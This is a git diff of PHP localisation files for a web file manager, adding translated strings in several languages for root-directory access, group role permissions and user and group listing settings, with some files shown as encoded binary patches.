b/config/i18n/ru/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "Добавить роль идентичности", "system_role_read" => "Только для чтения", "system_role_write" => "Можно читать и писать", + "system_setting_root_path" => "доступ к Root", + "system_setting_root_path_desc" => "Только системный администратор может получить доступ ко всем каталогам, другие права группа пользователей может видеть только свой собственный каталог пользователя. Если вы хотите, чтобы включить или выключить
доступ администратора к другим каталогам, вы можете изменить PHP open_basedir параметров анти-межсайтовых,установить", + "system_group_role_title" => "Управление разрешений группы ролей", + "system_group_role_remove" => "OK, чтобы удалить роль группы", + "system_group_role_style" => "стиль", + "system_group_role_display" => "ли", + "system_group_role_display_desc" => "Является ли разрешения пользователя настройки группы", + "role_type_name_read" => "считывание", + "role_type_name_read:list" => "Список файлов", + "role_type_name_read:info" => "Файл (папка) свойство View, поиск папки", + "role_type_name_read:copy" => "Копирование файлов", + "role_type_name_read:preview" => "Предварительный просмотр файлов (фотографии, документы, аудио и видео)", + "role_type_name_read:download" => "Файл (папку) Скачать", + "role_type_name_write" => "запись", + "role_type_name_write:add" => "Создайте файл (папку), извлечь сжатый файл", + "role_type_name_write:edit" => "Сохраните файл для редактирования", + "role_type_name_write:change" => "Переименовать, настроить структуру каталогов", + "role_type_name_write:upload" => "Файл (папку) загружать, дистанционная загрузить", + "role_type_name_write:remove" => "Файл (папку) удалять, вырезать", + "group_guest" => "посетители", + "group_guest_desc" => "Вы не являетесь членом этой группы,
доступ только к [группа общий каталог] ниже, доступа только для чтения.", + "group_role_lebel_desc" => "Вы являетесь членом группы, в рамках группы
документации для всех операционных прав, назначенных администратором июня", "button_save_and_add" => "Сохранить и продолжить, чтобы добавить", "path_cannot_search" => "Каталог не поддерживает поиск!", "not_support" => "Не поддерживается!", @@ -254,6 +276,10 @@ return array( "login_code" => "коды", "need_check_code" => "Код аутентификации Войти с открытым", "login_rember_password" => "Запомнить пароль", + "setting_show_root_group" => "Список всех групп", + "setting_show_root_group_desc" => "Дерево группы корневого каталога перечислены все группы", + "setting_show_share_user" => "Список всех пользователей", + "setting_show_share_user_desc" => "корень дерева каталоги всех пользователей разделяют группа перечислена", "setting_clear_user_recycle" => "Пустые корзины для всех пользователей", "setting_clear_cache" => "Очистить кэш", "setting_icp" => "Авторское право или номер записи", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "Максимально допустимая", "upload_size_info" => "Если вы хотите настроить больше, пожалуйста, изменить php.ini максимально допустимую загрузку. При выборе файла больше этой конфигурации будет автоматически отфильтровать.", "upload_error" => "Сбой при загрузке", - "upload_error_http" => "Сбой при загрузке из-за сеть или брандмауэр!", + "upload_error_http" => "Сеть или брандмауэра ошибки", "upload_muti" => "Загрузка нескольких файлов", "upload_drag" => "Перетащите загрузки", "upload_drag_tips" => "Ослабить загрузить!", diff --git a/config/i18n/si/main.php b/config/i18n/si/main.php index 5b88594..cc7c9ff 100755 --- a/config/i18n/si/main.php +++ b/config/i18n/si/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "කාර්යභාරය හැඳුනුම්පත් එකතු කරන්න", "system_role_read" => "කියවීමට පමණක්", "system_role_write" => "කියවීමට සහ ලිවීමට හැකි", + "system_setting_root_path" => "root ප්රවේශය", + "system_setting_root_path_desc" => "පමණක් පද්ධති පරිපාලක සියලු බහලුම් ප්රවේශ විය හැකි, පරිශීලකයන් අනෙකුත් අයිතිවාසිකම් කණ්ඩායම් පමණක් තම පරිශීලක බහලුම බලන්න පුළුවන්. ඔබ හෝ අක්රිය කිරීමට අවශ්ය නම්
වෙනත් බහලුම් සඳහා පරිපාලක ප්රවේශ, ඔබ, හරස් ප්රති-අඩවිය පරාමිතීන් open_basedir මෙය php වෙනස් කළ හැක", + "system_group_role_title" => "සමූහ අවසර කාර්යභාරය කළමනාකරණ", + "system_group_role_remove" => "කණ්ඩායම භූමිකා ඉවත් කිරීම සඳහා OK", + "system_group_role_style" => "ශෛලිය", + "system_group_role_display" => "යන්න", + "system_group_role_display_desc" => "පරිශීලක අවසර සැකසීම පිරිසක් යන්න", + "role_type_name_read" => "කියවන්න", + "role_type_name_read:list" => "ගොනුව ලැයිස්තුව", + "role_type_name_read:info" => "ගොනුව (ෆෝල්ඩරය) දේපල දැක්ම, ෆෝල්ඩරය සොයා", + "role_type_name_read:copy" => "ගොනු පිටපත් කිරීම", + "role_type_name_read:preview" => "ගොනුව පෙරදසුනෙහි (පින්තූර, ලිපි ලේඛන, ශ්රව්ය සහ වීඩියෝ)", + "role_type_name_read:download" => "ගොනුව (ෆෝල්ඩරය) බාගත", + "role_type_name_write" => "ලියන්න", + "role_type_name_write:add" => "ගොනුව (ෆෝල්ඩරය) නිර්මාණය කරන්න, එම සම්පීඩිත ගොනුව ලබා ගැනීම", + "role_type_name_write:edit" => "සංස්කරණය කිරීමට හෝ ගොනුව සුරකින්න", + "role_type_name_write:change" => "නැවත නම් කරන්න, මෙම බහලුම් ආකෘතිය වෙනස්", + "role_type_name_write:upload" => "ගොනු (ෆෝල්ඩරය) උඩුගත කරන්න, දුරස්ථ බාගත", + "role_type_name_write:remove" => "ගොනු (ෆෝල්ඩරය) මකා දැමීම, කපා", + "group_guest" => "නරඹන්නන්", + "group_guest_desc" => "ඔබ, කියවීමට පමණක් ප්රවේශ පහත සඳහන් [කණ්ඩායම පොදු බහලුමක්] පමණක් සඳහා ප්රවේශය, මේ සමූහයේ සාමාජිකයෙකු නොවේ
.", + "group_role_lebel_desc" => "ඔබ පරිපාලක ජුනි මගින් පවරා ඇති සියලුම මෙහෙයුම් අයිතීන් සඳහා කණ්ඩායමක්
ප්රලේඛනය තුළ, සමූහයේ සාමාජිකයෙක්", "button_save_and_add" => "සුරැකීමට සහ එකතු කිරීම කරගෙන", "path_cannot_search" => "බහලුම මෙම සෝදිසි සහාය නොදක්වයි!", "not_support" => "පහසුකම් සපයන්නේ නැත!", @@ -254,6 +276,10 @@ return array( "login_code" => "කේත", "need_check_code" => "ලොගින් වන්න සත්යාපන කේතය විවෘත", "login_rember_password" => "රහස් පදය මතක තබා ගන්න", + "setting_show_root_group" => "සියලු කණ්ඩායම් ලැයිස්තුව", + "setting_show_root_group_desc" => "ගස මූල ඩිරෙක්ටරිය කණ්ඩායමක් කණ්ඩායම් ලැයිස්තුගත කර ඇත", + "setting_show_share_user" => "සියළු පරිශීලකයන් හට ඇති ලැයිස්තුවක්", + "setting_show_share_user_desc" => "සියළු පරිශීලකයන් හට ඇති ගසක් root බහලුම කණ්ඩායම ලැයිස්තුගත කර ඇත බෙදා", "setting_clear_user_recycle" => "සියළුම පරිශීලකයින් සඳහා පිළිසකර බඳුනට හිස්", "setting_clear_cache" => "හැඹිලි හිස්", "setting_icp" => "කතුහිමිකම හෝ වාර්තාගත", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "උපරිම සීමාව", "upload_size_info" => "ඔබට වඩා මාන කිරීම සඳහා අවශ්ය නම්, php.ini උපරිම උඩුගත වෙනස් කරන්න. ඔබ මෙම සැකසුම ස්වයංක්රීයව ඉවත් කරන ඇත වඩා විශාල ගොනුවක් තෝරන්න විට.", "upload_error" => "උඩුගත කිරීම අසාර්ථක", - "upload_error_http" => "උඩුගත නිසා ජාල හෝ ෆයර්වෝල් කිරීමට අසාර්ථක විය!", + "upload_error_http" => "ජාල හෝ ෆයර්වෝල් දෝෂ", "upload_muti" => "බහු-ගොනු උඩුගත", "upload_drag" => "උඩුගත drag and drop", "upload_drag_tips" => "උඩුගත කිරීමට ලිහිල්!", diff --git a/config/i18n/sk/main.php b/config/i18n/sk/main.php index 52c7ca9ea39c7b0ef77b141b22f24d518396881a..e67d725edcf48763657c0e9a79dab63db078051c 100755 GIT binary patch delta 2244 zcma)7&ub(_6qew@RS;oaAq#5Ji0rVP4IXxpkVIrfiK6Q&EdGczHQg`MmF}+Ut*Y+W zjV<|rdHlAxNgq&`tekuzQq#+%3J zf}toWX2;E>q#CBjw2g+&EMkCxQs6|DVi!o6Ql*X8g1JiYzl#pH$eRfX;}A5EdPsBL z9AX5TLSK-wYX7eH~; zOq6qP)5m-7A@#^;mC+$J4z4R`-%O0>i`G-=>P*_%ST{$hvAAw6BBt_`Rvk1Gd%Dle z=iSB6-3-~!j~Kybp6;RHT{!&BgtRPRDL7^AytpZ~QFWC=z>)Sq0*$=UpWj}sr~A!B znmySCfqHf))vRz+lfO zF^+O%seN0d5y;D8haz_b+Scx{6v$okvRln_ieAJ1m6*w5!dhytL&Tf0%}s8IK5o}A zseBynq%bprKWPy$L8w_T5WUM1L}HJp0_jC@Fl3#rn7ri-49Xf6^6s?$b54iTA4PUoRW6Ok&s)XhmWq-sOylr^JHelJhogM z6$i*cF$(YYpc#iJn%7}OHMHldGV(6zbl+T>xh64+3e{b{g1lRBB<$et|2QRsJ7WS+VNY4HPp7LMh=Bw%-y9v9CbDEiYKfd?9ufF>6uM29^HIr(Z|FI*)a$Dn0=gTu(=s2k%JZ1(G)>q zmg_bX9q~7)EM*|3#9_LM+6bGMg;0EM%9NlmScx$~S!jd4p01!0iI{K$?y>+|>B;f& zv&Y<{skjbLe<67GH%YKYh*Td8laphT67+o?=DUOR~YhmxnhwO zpl=kU;t^U(gnv(u4wl;95)^A__)M!bu6HZdMkwEuXs4(@g9PAlg7H~^fT24q! z5bjBxqE8-%WJa&6KHKl=&TXb+WQ0W~r{ZW`?=D||H$+=^_)4pN{-=JjeC1j=PlPQb z9=2e7HD=d0i@6gu8~+f~+{B#>}v$J9_`>nilMy0LTspobBR#hVTtSSKtOtshn^jpU9+5I}75#dCxD#m^h; zL@#NiIUZ-I(gte4Xvmv`t~}C+%|%E|HJ1?F$&|S(O=llxX|JhU79D*Ze+w@x4ER|z z%{i|J3z!%$~qzJvGekSrsU2*FhT_taISXIC z`@?(R1~kX9FQI91P=_N7b@B;iUcwXF*ldT-!>f1qt{h$5`}fA{itR6_NBZ)TfVoJH I-q*>-f0mEX+yDRo delta 87 zcmV-d0I2__&jNzI0 "Додај улогу Идентити", "system_role_read" => "Само за читање", "system_role_write" => "Може да чита и пише", + "system_setting_root_path" => "роот приступ", + "system_setting_root_path_desc" => "Само систем администратор може да приступи свим директоријума, група друга права корисника могу видети само своју корисничку.
Ако желите да укључите или искључите администраторски приступ другим директоријума, можете да измените пхп опен_баседир параметара против цросс-сите, како подесити ", + "system_group_role_title" => "Група Дозволе Улога менаџмент", + "system_group_role_remove" => "ОК за брисање улогу групе", + "system_group_role_style" => "стил", + "system_group_role_display" => "да ли", + "system_group_role_display_desc" => "Без обзира да ли групи поставку дозволе корисника", + "role_type_name_read" => "читати", + "role_type_name_read:list" => "филе лист", + "role_type_name_read:info" => "Филе (фасцикла) имовина Погледај Фолдер претрага", + "role_type_name_read:copy" => "Филе Цопи", + "role_type_name_read:preview" => "Филе приказ (слике, документи, аудио и видео)", + "role_type_name_read:download" => "Филе (директоријум) Преузимање", + "role_type_name_write" => "писати", + "role_type_name_write:add" => "Креирати фајл (фолдер), екстракт компресовани фајл", + "role_type_name_write:edit" => "Сачувајте датотеку за уређивање", + "role_type_name_write:change" => "Преименовати, прилагодити структуру директоријума", + "role_type_name_write:upload" => "Филе (фасцикла) отпремање, даљински за преузимање", + "role_type_name_write:remove" => "Филе (фасцикла) делете, цут", + "group_guest" => "Посетиоци", + "group_guest_desc" => "Нисте члан ове групе,
приступ само [група дели директоријум] следећем, само за читање приступ.", + "group_role_lebel_desc" => "Ви сте члан групе, у оквиру групе докумената
свим радним правима додељен од стране администратора Јун", "button_save_and_add" => "Сачувај и настави да бисте додали", "path_cannot_search" => "Директоријум не подржава потрагу!", "not_support" => "Није подржан!", @@ -254,6 +276,10 @@ return array( "login_code" => "кодови", "need_check_code" => "Пријава Аутхентицатион Цоде отворен", "login_rember_password" => "Запамти лозинку", + "setting_show_root_group" => "Листа свих група", + "setting_show_root_group_desc" => "Корен стабла директоријум група је наведен све групе", + "setting_show_share_user" => "Листа свих корисника", + "setting_show_share_user_desc" => "Корен стабла директоријуму свим корисницима деле група је наведен", "setting_clear_user_recycle" => "Испразните корпе за отпатке за све кориснике", "setting_clear_cache" => "Испразните кеш меморију", "setting_icp" => "Ауторска права или матични број", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "Максимална дозвољена", "upload_size_info" => "Ако желите да подесите више, молим измените у пхп.ини максималну дозвољену уплоад. Када изаберете фајл већи од ове конфигурације ће аутоматски филтрирати.", "upload_error" => "Уплоад фаилед", - "upload_error_http" => "Учитавање није успјело због мрежи или фиревалл!", + "upload_error_http" => "Мрежа или фиревалл грешке", "upload_muti" => "Мулти-филе уплоад", "upload_drag" => "Драг анд дроп отпремање", "upload_drag_tips" => "Отпустите за уплоад!", diff --git a/config/i18n/sv/main.php b/config/i18n/sv/main.php index 060505f42f08f64a076677ef27f965810dbba864..a3d04fb024966bba50407fc35261892dc9dfa3b7 100755 GIT binary patch delta 2147 zcmah~O>Z1U5JeUTAbbb~M?}P^SP&4gwsQfNcGX-`l0xVvY~ zio;&G<}^p7oYr@ck1-?x~Mguc}`C{rk$pKURME z?PB%a+Nt8WR zu!||N9C)K5zcosw1P86u3433yy)EWuFmvag-TWH*+#caQVSui&eoDIrN~qX*t#)>P zxR5%$um#i>v2=wJ!znxtf0rBPWWXSvFq#fdz>xFQgl2=(b={hP&->b)SJ!I4#FI%w z$!rV@j5LuPSrl=rI=Fv+(QY!c`7e#Ry z`oh)23U{RwZOBEBnlU-a82_@EJySG1g)UM|gwOf$?E1C}ivx*=txEs=<_P)>qbpU+ z3ly8I%u)L`sQoeq(@SakV>FkS#f#0MR)&ZpLYa+Ig>@$5+>0}u53Tg0*%)y<*xO}R z4wkv#mWV^H#^ZJ-il7*wl)z{k@CVwM6lwKhnhKJP!pfZfjgc!xJ;n6a;sh`#+@eMF zt*ZB6bF?rZ_2(XKMN%VY$h$)iG(Nfw`z2}CeBDX5%FLH`mhS1<%A%ofkv}z}S_RN* zwxPd28Cwe)V?~ckCZoo9YDpKG!rR#fmr=N;Gl?~25hW$g=bG6Cs2=}#?ot;W%_8mK zQ_QPJ@oM$yrRS?xUVJ&t2^;1hnR6}bU2F%9oQooo{5nzz*2ep_G;6Y_nsBC)`g_1W z5y>cN8eBFc7GjqCa6C4u*B_ier?88v-v8?H3#%h)^DO@~ZkvR_^0t5I~>yS(n+)srn!p>u delta 62 zcmV-E0KxyB(*oqc0)UId1Gr~WMy+8aKoh_XL5CJ UWFTR7Aa0ZXc^Cm9vl@DYFJ~MX>;M1& diff --git a/config/i18n/ta/main.php b/config/i18n/ta/main.php index 4161a90..dea5c1b 100755 --- a/config/i18n/ta/main.php +++ b/config/i18n/ta/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "பங்கு அடையாள சேர்", "system_role_read" => "வாசிக்க-மட்டும்", "system_role_write" => "எழுத, படிக்க முடியும்", + "system_setting_root_path" => "ரூட் அணுகல்", + "system_setting_root_path_desc" => "ஒரு கணினி நிர்வாகியை அனைத்து கோப்பகங்களுக்கும் அணுக முடியும், பயனர்கள் மற்ற உரிமைகள் குழுக்கள் தங்களது சொந்த பயனர் அடைவு பார்க்க முடியும். நீங்கள் இயக்கலாம் அல்லது மற்ற அடைவுகள்
நிர்வாகி அணுகல் முடக்கத்தில் விரும்பினால், நீங்கள் எதிர்ப்பு குறுக்கு தளத்தில் அளவுருக்கள் open_basedir PHP மாற்ற முடியும்எப்படி அமைக்க", + "system_group_role_title" => "குழு அனுமதிகள் ரோல் மேனேஜ்மென்ட்", + "system_group_role_remove" => "குழு பங்கு நீக்க சரி", + "system_group_role_style" => "பாணி", + "system_group_role_display" => "என்பதை", + "system_group_role_display_desc" => "ஒரு குழு அமைப்பானது பயனர்கள் அனுமதிகள் என்பதை", + "role_type_name_read" => "படிக்க", + "role_type_name_read:list" => "கோப்பு பட்டியல்", + "role_type_name_read:info" => "கோப்பு (கோப்புறையை) சொத்து காண்க, கோப்புறை தேடல்", + "role_type_name_read:copy" => "கோப்பு நகல்", + "role_type_name_read:preview" => "கோப்பு முன்னோட்டத்தை (படங்கள், ஆவணங்கள், ஆடியோ மற்றும் வீடியோ)", + "role_type_name_read:download" => "கோப்பு (கோப்புறையை) பதிவிறக்கி", + "role_type_name_write" => "எழுத", + "role_type_name_write:add" => "ஒரு கோப்பு (கோப்புறையை) உருவாக்கவும், சுருக்கப்பட்ட கோப்பை பிரித்தெடுக்க", + "role_type_name_write:edit" => "கோப்பைத் திருத்த சேமிக்க", + "role_type_name_write:change" => ", மறுபெயரிடு அடைவு அமைப்பு சரிசெய்ய", + "role_type_name_write:upload" => "கோப்பு (கோப்புறையை) பதிவேற்ற, தொலை பதிவிறக்கம்", + "role_type_name_write:remove" => "கோப்பு (கோப்புறையை) நீக்க, வெட்டி", + "group_guest" => "பார்வையாளர்கள்", + "group_guest_desc" => "
மட்டுமே [குழு பகிர்வு அடைவு] பின்வரும், படிக்க-மட்டும் அணுக அணுகல், நீங்கள் இந்த குழுவின் உறுப்பினராக உள்ளன.", + "group_role_lebel_desc" => "நிர்வாகி ஜுன் ஆகியோர் ஒதுக்கப்படும் அனைத்து இயக்க உரிமைகள் குழு
ஆவணத்தில் குழுவின் உறுப்பினராக இருக்கிறீர்கள்", "button_save_and_add" => "சேமிக்க தொடர்க", "path_cannot_search" => "அடைவு தேடல் ஆதரிக்கவில்லை!", "not_support" => "ஆதரவு இல்லை!", @@ -254,6 +276,10 @@ return array( "login_code" => "குறியீடுகள்", "need_check_code" => "தேதி அங்கீகார குறியீடு திறந்த", "login_rember_password" => "கடவுச்சொல்லை நினைவில்", + "setting_show_root_group" => "அனைத்து குழுக்களையும் பட்டியல்", + "setting_show_root_group_desc" => "மர வேர் அடைவு குழு அனைத்து குழுக்களையும் பட்டியலிடப்பட்டுள்ளது", + "setting_show_share_user" => "அனைத்து பயனர்களின் பட்டியல்", + "setting_show_share_user_desc" => "அனைத்து பயனர்களின் மர வேர் அடைவு குழு பட்டியலிடப்பட்டுள்ளது பகிர்ந்து", "setting_clear_user_recycle" => "அனைத்து பயனர்களும் மறுசுழற்சி தொட்டிக்கு காலி", "setting_clear_cache" => "கேச் காலி", "setting_icp" => "பதிப்புரிமை அல்லது பதிவு எண்", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "அதிகபட்ச அனுமதிக்கப்பட்ட", "upload_size_info" => "நீங்கள் இன்னும் கட்டமைக்க விரும்பினால், php.ini அனுமதிக்கப்பட்ட அதிகபட்ச பதிவேற்ற மாற்றவும். நீங்கள் தேர்வு செய்யும் போது இந்த கட்டமைப்பு விட பெரிய ஒரு கோப்பு தானாக வெளியே வடிகட்ட வேண்டும்.", "upload_error" => "மேலேற்றப்படவில்லை", - "upload_error_http" => "பதிவேற்றம் நெட்வொர்க் அல்லது தீச்சுவர் காரணமாக தோல்வி!", + "upload_error_http" => "நெட்வொர்க் அல்லது ஃபயர்வால் பிழைகள்", "upload_muti" => "பல கோப்பு பதிவேற்ற", "upload_drag" => "இழுத்தல் மற்றும் பதிவேற்ற", "upload_drag_tips" => "பதிவேற்ற தளர்த்தப்பட்டது!", diff --git a/config/i18n/th/main.php b/config/i18n/th/main.php index 21c6c29..8a829b4 100755 --- a/config/i18n/th/main.php +++ b/config/i18n/th/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "เพิ่มเอกลักษณ์บทบาท", "system_role_read" => "อ่านอย่างเดียว", "system_role_write" => "สามารถอ่านและเขียน", + "system_setting_root_path" => "เข้าถึงราก", + "system_setting_root_path_desc" => "เฉพาะผู้ดูแลระบบสามารถเข้าถึงไดเรกทอรีทุกกลุ่มสิทธิมนุษยชนอื่น ๆ ของผู้ใช้จะสามารถดูไดเรกทอรีผู้ใช้ของตนเอง หากคุณต้องการที่จะเปิดหรือปิดการเข้าถึงผู้ดูแลระบบ
ไปยังไดเรกทอรีอื่น ๆ ที่คุณสามารถปรับเปลี่ยน PHP open_basedir พารามิเตอร์ต่อต้านข้ามเว็บไซต์ตั้ง", + "system_group_role_title" => "กลุ่มผู้บริหารสิทธิ์บทบาท", + "system_group_role_remove" => "ตกลงเพื่อลบบทบาทกลุ่ม", + "system_group_role_style" => "สไตล์", + "system_group_role_display" => "ว่า", + "system_group_role_display_desc" => "ไม่ว่าจะเป็นสิทธิ์ของผู้ใช้ตั้งกลุ่ม", + "role_type_name_read" => "อ่าน", + "role_type_name_read:list" => "รายการไฟล์", + "role_type_name_read:info" => "ไฟล์ (โฟลเดอร์) ดูคุณสมบัติการค้นหาโฟลเดอร์", + "role_type_name_read:copy" => "คัดลอกไฟล์", + "role_type_name_read:preview" => "แสดงตัวอย่างไฟล์ (รูปภาพ, เอกสาร, เสียงและวิดีโอ)", + "role_type_name_read:download" => "ไฟล์ (โฟลเดอร์) ดาวน์โหลด", + "role_type_name_write" => "เขียน", + "role_type_name_write:add" => "สร้างไฟล์ (โฟลเดอร์), สารสกัดจากไฟล์บีบอัด", + "role_type_name_write:edit" => "บันทึกไฟล์ที่จะแก้ไข", + "role_type_name_write:change" => "เปลี่ยนชื่อปรับโครงสร้างไดเรกทอรี", + "role_type_name_write:upload" => "ไฟล์ (โฟลเดอร์) อัพโหลดดาวน์โหลดระยะไกล", + "role_type_name_write:remove" => "ไฟล์ (โฟลเดอร์) ลบตัด", + "group_guest" => "คนที่เข้ามา", + "group_guest_desc" => "คุณไม่ได้เป็นสมาชิกของกลุ่มนี้
เข้าถึงเฉพาะ [กลุ่มไดเรกทอรีที่ใช้ร่วมกัน] ต่อไปนี้การเข้าถึงแบบอ่านอย่างเดียว", + "group_role_lebel_desc" => "คุณเป็นสมาชิกของกลุ่มที่อยู่ในเอกสารกลุ่ม
เพื่อสิทธิในการดำเนินงานทั้งหมดที่ได้รับมอบหมายจากผู้ดูแลมิถุนายน", "button_save_and_add" => "บันทึกและยังคงเพิ่ม", "path_cannot_search" => "ไดเรกทอรีไม่สนับสนุนการค้นหา!", "not_support" => "ไม่ได้รับการสนับสนุน!", @@ -254,6 +276,10 @@ return array( "login_code" => "รหัส", "need_check_code" => "รหัสรับรองความถูกต้องเข้าสู่ระบบเปิด", "login_rember_password" => "จำรหัสผ่าน", + "setting_show_root_group" => "รายชื่อของกลุ่มทั้งหมด", + "setting_show_root_group_desc" => "ต้นไม้กลุ่มไดเรกทอรีรากเป็น บริษัท จดทะเบียนทุกกลุ่ม", + "setting_show_share_user" => "รายชื่อของผู้ใช้ทั้งหมด", + "setting_show_share_user_desc" => "ไดเรกทอรีรากต้นไม้ของผู้ใช้ทุกคนมีส่วนร่วมในกลุ่มที่เป็น บริษัท จดทะเบียน", "setting_clear_user_recycle" => "ล้างถังรีไซเคิลสำหรับผู้ใช้ทั้งหมด", "setting_clear_cache" => "ล้างแคช", "setting_icp" => "ลิขสิทธิ์หรือบันทึกหมายเลข", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "สูงสุดที่อนุญาต", "upload_size_info" => "หากคุณต้องการที่จะกำหนดค่าเพิ่มเติมกรุณาแก้ไข php.ini สูงสุดอัปโหลดได้รับอนุญาต เมื่อคุณเลือกไฟล์ที่มีขนาดใหญ่กว่าการกำหนดค่านี้จะกรองออกโดยอัตโนมัติ", "upload_error" => "อัพโหลดล้มเหลว", - "upload_error_http" => "อัปโหลดล้มเหลวเนื่องจากเครือข่ายหรือไฟร์วอลล์!", + "upload_error_http" => "เครือข่ายหรือไฟร์วอลล์ข้อผิดพลาด", "upload_muti" => "อัปโหลดหลายไฟล์", "upload_drag" => "ลากและวางการอัปโหลด", "upload_drag_tips" => "คลายอัปโหลด!", diff --git a/config/i18n/tr/main.php b/config/i18n/tr/main.php index f90eb941864eb79a63d41b307f3845eee4d75706..0af4d6bda0762e7c65abf060591e4b6ec76fee02 100755 GIT binary patch delta 2251 zcmah~PirJa6kk^2VZAJ3)Udi1gGhqIi~+rbBr5MnJq^Y%5qL^U<0aIDEmHrEj!COmUPJ^GyPUAN)xKvBS~uBwKIj1&Tf3*! zhXIg2Q$#cChGgZ10K*1MGh)hFOmd%%ncxUsJAgjpOtndra!y4x9aK|JRW%jFXVnB0 z328(El_vO==o&u);j>i>yo;cW1m%UQ0X4pkJA{@mW3(SaM(22WeHRJ9VPAER7X+Jl z5tw2=tQjj`GC^!0N(17x4=D*1oF1LDLSqtr(Cv;!qfT%~1{^vA8F#{{tAVOP_~@hO zM@g7`EE5o3pK9=#I%yF@-%1n}-)xY0@L_^?Zli~alCdrETf3^N>>Qn;Lcg|UisIT;HqIRZ-_Q@@&46Rc73;@x+itzMps!Cw9XMc|mw%+_O>PuAU+Qe%znSI}$&;sFz<^19(}#HmL0?2)*f z@rY$$$oC9JZPMepJ0Vojm~KKI$fU`Zt6WW~hhHhb#WYbcL~oAQG8*h1Hs+AWKz0>| z6{Bj~qz^m*_oP9iw8@b9Aon&g^W{iziRr{fUcxV9uFkNb)C~xuTrsl{n4JX{BBNt$ zk(*4c#R2u5!^Xl2!gp0#Iz~lZPE4v|+9tZ1M%5Hwt10S*$M)G7?9&YOWB;&7w>iZ| zGp*u{Up~94nvvr)2&o9_U~Cj^@&h)u4}wr1`w?}GRO$&qGMZFVB!xo>ol|wYZyZwd zBx8#5Mw82EvvL-3h@nl=F^vqx*|I6`j_^u*zp8Tc?v4O^w<$)TWSV%d1t}E&K6txG zwzl3MGYkL>&a?GPct@Lp?r#^Le6W>+a3c{*QP0^QUH>LDIiYp} z_%venIyXc{sYq2bMWJ~h{nUwkyQ#l=(of>9|mvUSjs>J*)=S z<~m!6kr%)Hx_$oh&flF}hjLV}O_%6qmNYrZ+&@0C1D9 xM1afLt|jNg5hin8QE}dTlJ9uuf?n6EK;{&Y_B#3S<+%2F#6719syDND`E$;?(rDJ@GZ oI "Додати роль ідентичності", "system_role_read" => "Тільки для читання", "system_role_write" => "Можна читати і писати", + "system_setting_root_path" => "доступ до Root", + "system_setting_root_path_desc" => "Тільки системний адміністратор може отримати доступ до всіх каталогів, інші права група користувачів може бачити тільки свій власний каталог користувача. Якщо ви хочете, щоб включити або вимкнути
доступ адміністратора до інших каталогів, ви можете змінити PHP open_basedir параметрів анти-міжсайтових,встановити", + "system_group_role_title" => "Управління дозволів групи ролей", + "system_group_role_remove" => "OK, щоб видалити роль групи", + "system_group_role_style" => "стиль", + "system_group_role_display" => "чи", + "system_group_role_display_desc" => "Чи є дозволу користувача настройки групи", + "role_type_name_read" => "зчитування", + "role_type_name_read:list" => "список файлів", + "role_type_name_read:info" => "Файл (папка) властивість View, пошук папки", + "role_type_name_read:copy" => "копіювання файлів", + "role_type_name_read:preview" => "Попередній перегляд файлів (фотографії, документи, аудіо та відео)", + "role_type_name_read:download" => "Файл (папку) Завантажити", + "role_type_name_write" => "запис", + "role_type_name_write:add" => "Створіть файл (папку), витягти стислий файл", + "role_type_name_write:edit" => "Збережіть файл для редагування", + "role_type_name_write:change" => "Перейменувати, налаштувати структуру каталогів", + "role_type_name_write:upload" => "Файл (папку) завантажувати, дистанційна завантажити", + "role_type_name_write:remove" => "Файл (папку) видаляти, вирізати", + "group_guest" => "відвідувачі", + "group_guest_desc" => "Ви не є членом цієї групи,
доступ тільки до [група загальний каталог] нижче, доступу тільки для читання.", + "group_role_lebel_desc" => "Ви є членом групи, в рамках групи
документації для всіх операційних прав, призначених адміністратором червня", "button_save_and_add" => "Зберегти і продовжити, щоб додати", "path_cannot_search" => "Каталог не підтримує пошук!", "not_support" => "Чи не дозволені!", @@ -254,6 +276,10 @@ return array( "login_code" => "коди", "need_check_code" => "Код аутентифікації увійти з відкритим", "login_rember_password" => "Запам'ятати пароль", + "setting_show_root_group" => "Список всіх груп", + "setting_show_root_group_desc" => "Дерево групи кореневого каталогу перераховані всі групи", + "setting_show_share_user" => "Список всіх користувачів", + "setting_show_share_user_desc" => "корінь дерева каталоги всіх користувачів поділяють група перерахована", "setting_clear_user_recycle" => "Порожні кошики для всіх користувачів", "setting_clear_cache" => "Очистити кеш", "setting_icp" => "Авторське право або номер запису", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "максимально допустима", "upload_size_info" => "Якщо ви хочете налаштувати більше, будь ласка, змінити php.ini максимально допустиму завантаження. При виборі файлу більше цієї конфігурації буде автоматично відфільтрувати.", "upload_error" => "Збій при завантаженні", - "upload_error_http" => "Збій при завантаженні через мережу або брандмауер!", + "upload_error_http" => "Мережа або брандмауера помилки", "upload_muti" => "Завантаження декількох файлів", "upload_drag" => "перетягніть завантаження", "upload_drag_tips" => "Послабити завантажити!", diff --git a/config/i18n/uz/main.php b/config/i18n/uz/main.php index f7db4c2c0e0d93110b257c7eefdd889ab01519ab..40a625873a27002a62f323706ca72c120836d62b 100755 GIT binary patch delta 2200 zcmah~O>Y}j6fF@S5*rjks-%_B#YlBZtyo>wN>a6|f}l`@sJbD@y7oNJyw00>Gw;LB zcw@0(hd^k40sjD$|G<_lu&9vOu;m|c?~G@N<1~0>`@MJWx%ZxX?jOHweDnLpPrvPc zU<>O+GPJ@unTA87wHs#Wq7Kxb!z1YMpAeUuJMS#k?hONB$8?$R9b=9TM$&+jbD2Pb z-NYLSBQ)a(Ax4KvhYC$9A(lqkh(gLaBtD5{+JlKM0#um#={S;ftp_7*qZ}dfxzFhj zc^yJ;e8gX2Qbp6?lR;OZ66+lXrRzJ|5xakXw+a!8XdI5eSfgfP5Dsm3Rrqk}#kmG?KVceN5jC!G>a@vEwS zXtdA3_*08cg3+pc>+9|E#oMo!Pd48Geq%(Ur|l!|L{%leE6aayYvZ%WjDM5wT31}a z_g484pWoo~K-x@Uv1GtlTsuAv&mAwj&d1#DI-J#Wg$b^#V6!)uboho|3|Kmy}zn@E8kq6+mXhl!8{Y+GHNH zghw!r7P6AJOmB+#=|X{ssJx(aeW@khWzuV4!MQ|M^Psf;<4xU)Fge@) 